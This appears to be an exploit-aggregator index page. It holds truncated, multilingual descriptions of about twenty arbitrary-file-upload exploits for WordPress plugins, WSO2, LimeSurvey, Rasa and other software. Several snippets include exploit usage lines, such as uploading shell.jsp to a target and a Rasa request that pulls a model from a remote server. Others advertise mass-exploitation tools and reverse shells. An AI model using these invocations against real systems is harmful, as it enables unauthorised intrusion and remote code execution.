sudowp-dropzone-elementor

SudoWP DropZone per Elementor Contributori: SudoWP, WP Republic Autori originali: WEB-SHOP-HOSTING Tags: elementor, dropzone, upload, security-patch, fork, cve-2024-5153, honeypot Richiede almeno: 5.6 Testato fino a: 6.7 Versione stabile: 1.7.17 Licenza: GPLv2 o successiva Avviso di sicurezza...

CVE-2026-80050

ContiNew Admin versions through 4.1.0 contain a missing authorization and file-type allowlist vulnerability in its multipart upload endpoints (specifically MultipartUploadController). Authenticated users can initialize chunked uploads, send file parts, and complete uploads with arbitrary file ext...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Caricamento arbitrario di file CVE-2015-6967 requisiti python 3 requests utilizzo root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help mostra questo messaggio di aiuto ed esci --url...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Caricamento arbitrario di file Autore - Jinny Ramsmark Fornitore interessato - Verot.net Prodotto interessato - class.upload.php = 2.0.4 Testato su Ubuntu 14.04 appena installato con PHP5 e Apache In particolare Debian/Ubuntu è risultato vulnerabile poich...

CVE-2021-44967

CVE-2021-44967: LimeSurvey RCE Beschreibung Dieser Proof-of-Concept POC kann verwendet werden, um CVE-2021-44967 auszunutzen, um ein bösartiges LimeSurvey PHP-Plugin als Administrator hochzuladen und auszuführen, um eine Reverse Shell zu erhalten. Eine Schwachstelle zur Remote Code Execution RCE...

ATutor-Instructor-Backup-Arbitrary-File

ATutor-Instructor-Backup-Exploit عنوان الاستغلال: ATutor 2.2.4 'النسخ الاحتياطي' تنفيذ أوامر عن بعد CVE-2019-12170 دالة بحث جوجل: inurl:/ATutor/login.php التاريخ: 5/13/2019 مؤلف الاستغلال: liquidsky Joseph McPeters الصفحة الرئيسية للبائع: https://atutor.github.io/ رابط البرنامج:...

CVE-2025-3054-Exploit

CVE-2025-3054 الاستغلال: تحميل هنا التفاصيل معرف CVE : CVE-2025-3054 نشر : 5 يونيو 2025 CVSS : 8.8 التصحيح متوفر: لا يوجد تصحيح رسمي حتى الآن التأثير إضافة WP User Frontend Pro لـ WordPress معرضة لرفع الملفات بشكل عشوائي بسبب عدم التحقق من نوع الملف في دالة uploadfiles في جميع الإصدارات حتى الإصد...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - Exploit di Caricamento File Arbitrario CVE-2024-56264 Panoramica Questo repository contiene un exploit per CVE-2024-56264 , una vulnerabilità di Caricamento File Arbitrario presente nel plugin WordPress ACF City Selector versioni = 1.14.0. Questa...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 exploit e writeup. Dettagli CVE-2022-29464 è una grave vulnerabilità in WSO2. La vulnerabilità è un caricamento arbitrario di file non autorizzato e senza restrizioni che consente a utenti non autorizzati di caricare file JSP dannosi sui server WSO2 e ottenere l'esecuzione...

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ Beschreibung CVE-2026-3891 ist eine kritische Unauthenticated Arbitrary File Upload -Sicherheitslücke, die im Pix for WooCommerce WordPress-Plugin in den Versionen bis einschließlich 1.5.0 gefunden wurde. Die Schwachstelle existiert in der...

CVE-2026-1357

🧨 CVE-2026-1357 – Strumento di sfruttamento WPvivid Null-Key CVE-2026-1357.py Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123 Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto CVE: CVE-2026-1357 – CVSS 9.8 Critico GitHub:...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Einfach direkt ausführen root@kitploit: python server-1.py Beliebiger Datei-Upload root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effekt wie folgt: CVE-2021-41127 server-1.py Standard-Modellname:...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Upload de Arquivo Arbitrário Não Autenticado Metasploit Data: 30-01-2021 Autor do Exploit: Berkan Er [email protected] Página do Fornecedor: https://www.fortilogger.com/ Link do Software: https://www.fortilogger.com/download Versão: 4.4.2.2 Testado em: Windows 1...

dp_crypto

dpcrypto Exploit dell'oracolo di crittografia basato su Base64 per CVE-2017-9248 gestore finestre di dialogo Telerik UI per ASP.NET AJAX Pubblicato su exploit-db Aggiornamento 2020 - Si noti che la versione su exploit-db è ora molto obsoleta rispetto all'ultima versione qui su GitHub...

CVE-2021-24499

CVE-2021-24499 | Workreap - Freelance Marketplace and Directory WordPress Theme 2.2.2 - Caricamento File Arbitrario WordPress Theme Workreap 2.2.2 - Caricamento File Non Autenticato che Porta a Esecuzione di Codice Remota Un potente e accurato strumento di sfruttamento di massa per la vulnerabili...

WooRefer

WooRefer | CVE-2022-4047 - Reso, Rimborso e Scambio per WooCommerce Strumento automatico di massa per verificare e sfruttare la vulnerabilità in CVE-2022-4047 - Reso, Rimborso e Scambio per WooCommerce install.sh sha1sum install.sh | grep 12345678 md5sum install.sh...

JBWPer

JBWPer | CVE-2022-4061 - JobBoardWP Automatisches Massentool zum Überprüfen und Ausnutzen der Schwachstelle CVE-2022-4061 - JobBoardWP install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh...

CVE-2020-23591

CVE-2020-23591 OPTILINK E-PON "رقم الطراز: OP-XT71000N" مع "إصدار العتاد: V2.2"؛ & "إصدار البرنامج الثابت: OPV3.3.1-191028" تم العثور على ثغرة في "OPTILINK OP-XT71000N إصدار العتاد: V2.2، إصدار البرنامج الثابت: OPV3.3.1-191028" تسمح للمهاجم برفع ملف تعسفي عبر " /mgmdevupgrade.asp " ويمكنها "حذف ك...

CVE-2022-29464

WSO2 Beliebiger Dateiupload zu Remote-Befehlsausführung RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Beispiel root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

EUVD-2026-65313

The CM Map Locations – Visualize and share your locations in a few clicks plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 2.1.8 via the uploadMedia function. This is due to insufficient file type validation in the upload handler, which...